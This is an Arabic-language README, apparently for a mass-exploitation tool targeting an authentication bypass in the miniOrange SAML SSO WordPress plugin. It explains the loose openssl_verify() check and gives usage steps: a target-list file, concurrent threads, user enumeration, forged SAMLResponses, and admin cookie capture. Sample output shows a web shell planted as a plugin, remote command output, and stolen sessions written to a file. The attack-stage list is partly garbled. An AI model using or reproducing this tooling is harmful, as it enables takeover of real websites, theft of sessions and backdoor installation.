
SAML Single Sign On <= 5.4.4 - تجاوز المصادقة بدون مصادقة مسبقة عبر معامل SAMLResponse
SAML Single Sign On <= 5.4.4 - تجاوز المصادقة بدون مصادقة مسبقة عبر معامل SAMLResponse
استغلال إثبات المفهوم
توقيع مشوّه ← openssl_verify() يُرجع -1 ← تحويل ضمني فضفاض في PHP إلى true ← wp_set_auth_cookie() بصلاحيات مدير النظام
| الحقل | التفاصيل |
|---|---|
| معرّف CVE | CVE-2026-15981 |
| الملحق المتأثر | miniOrange SAML 2.0 Single Sign On – SSO Login (WordPress) |
| الإصدارات المتأثرة | جميع الإصدارات حتى 5.4.4 وما دون |
| النوع | تجاوز المصادقة بدون مصادقة مسبقة |
| CWE | CWE-287: Improper Authentication / CWE-305: Authentication Bypass by Primary Weakness |
| CVSS 3.1 | 9.8 حرجة — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| المصادقة | غير مطلوبة |
ملحق SAML Single Sign On – SSO Login لووردبريس عرضة لتجاوز المصادقة في جميع الإصدارات حتى 5.4.4. ويعود السبب إلى قيام دالة mo_saml_validate_signature() بإجراء فحص منطقي فضفاض على القيمة الصحيحة ثلاثية الحالات التي يُرجعها openssl_verify() في PHP، مما يجعل القيمة الخاطئة -1 تُقيَّم على أنها صحيحة (truthy) وبالتالي تُعامل كتحقق ناجح من التوقيع.
يتيح هذا للمهاجمين غير المصادَق عليهم تسجيل الدخول باسم أي مستخدم ووردبريس موجود، بما في ذلك مدراء النظام، عبر إرسال استجابة SAMLResponse مصممة بعناية تحتوي على NameID يتحكم فيه المهاجم وقيمة توقيع مشوّهة عمدًا تؤدي إلى خطأ في معالجة OpenSSL — متجاوزين التحقق تمامًا، مما يؤدي إلى استدعاء wp_set_auth_cookie() للحساب المستهدف.
Attacker sends crafted SAMLResponse
│
▼
mo_saml_validate_signature()
│
▼
openssl_verify($data, $malformed_sig, $key)
│
├─ Returns 1 → valid signature ✓
├─ Returns 0 → invalid signature ✗
└─ Returns -1 → OpenSSL internal error
│
▼
PHP loose comparison: if ($result)
│
├─ (int) 1 → true ✓
├─ (int) 0 → false ✓
└─ (int) -1 → true ← BUG: error treated as success
│
▼
wp_set_auth_cookie() called
│
▼
Attacker is now Administrator
الإصلاح بسيط — استخدام if ($result === 1) بدلاً من if ($result) — لكن تأثير الخلل هو تجاوز كامل للمصادقة.
?option=mosaml_metadata/wp-json/wp/v2/users)/?author=N)?option=saml_user_login واستخراج عناوين IdP الأساسيةlxml</Issuer> وفق مواصفة SAMLopenssl_verify() = -1wordpress_logged_in_* بعد كل محاولة/wp-admin/ و/wp-admin/users.php و/wp-admin/plugins.php/wp-admin/profile.phpplugin-install.php/wp-json/wp/v2/pluginsNx-zD في نص الاستجابةPython >= 3.8
pip install requests lxml
lxmlمطلوب لإجراء تطبيع Exclusive C14N الصحيح لتأكيد SAML.
python CVE-2026-15981.py
سيُطلب منك ما يلي:
| المُطالَبَة | الوصف | الافتراضي |
|---|---|---|
| ملف الأهداف | مسار ملف نصي يحتوي على هدف واحد لكل سطر | list.txt |
| الخيوط (Threads) | عدد العمال المتزامنين (1–100) | 5 |
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress
عنوان URL واحد لكل سطر. يُستخدم HTTP افتراضيًا إذا لم يُحدَّد بروتوكول.
███████╗███╗ ███╗███████╗
██╔════╝████╗ ████║██╔════╝
███████╗██╔████╔██║███████╗
╚════██║██║╚██╔╝██║╚════██║
███████║██║ ╚═╝ ██║███████║
╚══════╝╚═╝ ╚═╝╚══════╝
╔══════════════════════════════════════════════════════════╗
║ miniOrange SAML SSO <= 5.4.4 ║
║ openssl_verify() -1 Bypass -> Admin Session ║
╚══════════════════════════════════════════════════════════╝
By: Nxploited ( Khaled Alenazi ) - Nxploited ZeroDay Hub
T.m @Kxploit
يتقدّم كل هدف عبر 7 مراحل معنونة:
============================================================
target.com
============================================================
[1] WordPress
confirmed
[2] SAML plugin
version: 5.4.4
miniOrange SAML detected
[3] SP metadata
metadata entityID: https://target.com/...
metadata ACS: https://target.com/
[4] Users
REST: admin (id=1)
REST: editor (id=2)
author/3: johndoe
4 found: ['admin', 'editor', 'johndoe', 'target']
[5] Issuers
SSO redirect found
3 candidates
[6] Exploit
COOKIE! #14 user=admin 0xFF*256/rsa-sha256
wordpress_logged_in_abc123=admin%7C1753...
wp-admin accessible
user=admin [email protected]
users.php -> Admin
[7] Shell upload
M1: plugin uploaded
SHELL (M1-plugin): https://target.com/wp-content/plugins/nxproof/Nx.php
-> Nx-zD Linux target 6.1.0 x86_64 uid=33(www-data) ...
+==========================================================+
| ADMIN SESSION CONFIRMED |
+==========================================================+
| Target : https://target.com
| User : admin
| Issuer : https://idp.example.com/simplesaml/...
| Method : 0xFF*256/rsa-sha256
| Cookie : wordpress_logged_in_abc123=admin%7C1753...
| Shell : https://target.com/wp-content/plugins/nxproof/Nx.php
+==========================================================+
| الملف | المحتوى |
|---|---|
sms.txt | سطر واحد لكل جلسة مدير مؤكدة — الطابع الزمني، الهدف، المستخدم، الكوكي، رابط الشيل، المصدِر، طريقة التوقيع |
sms_debug.json | JSON تشخيصي كامل لكل هدف — بما في ذلك عدد المحاولات وتصنيفات الفشل |